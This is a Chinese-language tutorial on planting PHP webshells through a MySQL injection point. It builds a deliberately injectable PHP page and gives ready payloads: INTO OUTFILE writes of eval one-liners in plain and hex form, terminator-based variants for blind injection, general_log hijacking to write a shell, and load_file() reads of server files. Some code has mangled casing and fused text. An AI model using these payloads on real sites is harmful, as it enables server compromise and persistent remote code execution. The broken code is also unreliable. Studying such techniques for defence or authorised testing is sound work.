在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。
比如:当面对一个mysql注入点,通过使用sqlmap的--os-shell命令选项,便可轻松一键获取webshell,但是非正常退出时,便会在网站目录中存留sqlmap临时上传的webshell文件。
接下来,本文将通过构造一个注入点,分享几种webshell写入的技巧。
0x01 构造一个注入点
1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予file权限。
grant file on *.* to 'test'@'localhost';
但即使有了file权限,输出目录路径应该secure_file_priv一致,否侧文件操作不成功
mysql> show variables like '%sec%'
-> ;
+--------------------------+----------+
| variable_name | value |
+--------------------------+----------+
| require_secure_transport | off |
| secure_auth | on |
| secure_file_priv | |
+--------------------------+----------+1.mysql新特性限制文件写入及替代方法
高版本的mysql添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv
1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制
--secure_file_priv=
linux
cat /etc/my.cnf
[mysqld] secure_file_priv=
win
my.ini
[mysqld] secure_file_priv=
2、使用test用户连接数据库。
<?php
$con=mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_request[ 'id' ];
$query = "select * from test.admin where id = $id ";
$result = mysql_query($query);
......
0x02 写入webshell的几种方式
1、利用union select 写入
这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户有file权限、获取物理路径。
?id=1 union select 1,"<?php @eval($_post['g']);?>",3 into outfile 'e:/study/www/evil.php' ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "e:/study/www/evil.php"
2、利用分隔符写入
当mysql注入点为盲注或报错,union select写入的方式显然是利用不了的,那么可以通过分隔符写入。sqlmap的 --os-shell命令,所采用的就是一下这种方式。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户file权限、获取物理路径。
?id=1 limit 0,1 into outfile 'e:/study/www/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+ 此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。
?id=1 into outfile 'c:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;
同样的技巧,一共有四种形式:
?id=1 into outfile '物理路径' lines terminated by (一句话hex编码)# ?id=1 into outfile '物理路径' fields terminated by (一句话hex编码)# ?id=1 into outfile '物理路径' columns terminated by (一句话hex编码)# ?id=1 into outfile '物理路径' lines starting by (一句话hex编码)#
3、利用log写入
新版本的mysql设置了导出文件的路径,很难在获取webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改mysql的log文件来获取webshell。
具体权限要求:数据库用户需具备super和file服务器权限、获取物理路径。
show variables like '%general%'; # 查看配置 set global general_log = on; # 开启general log模式,将所有到达mysql server的sql语句记录下来。 set global general_log_file = 'e:/study/www/evil.php'; # 设置日志目录为shell地址 select '<?php eval($_get[g]);?>' # 写入shell set global general_log=off; # 关闭general log模式
附录:高权限文件读取
load_file()读文件——select load_file(‘目录’)。路径使用\\ ,否则会被当作转义符号。
http://test.com/sqli/less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+
到此这篇关于mysql注入点写入webshell的几种方式的文章就介绍到这了,更多相关mysql注入点写入webshell内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!
发表评论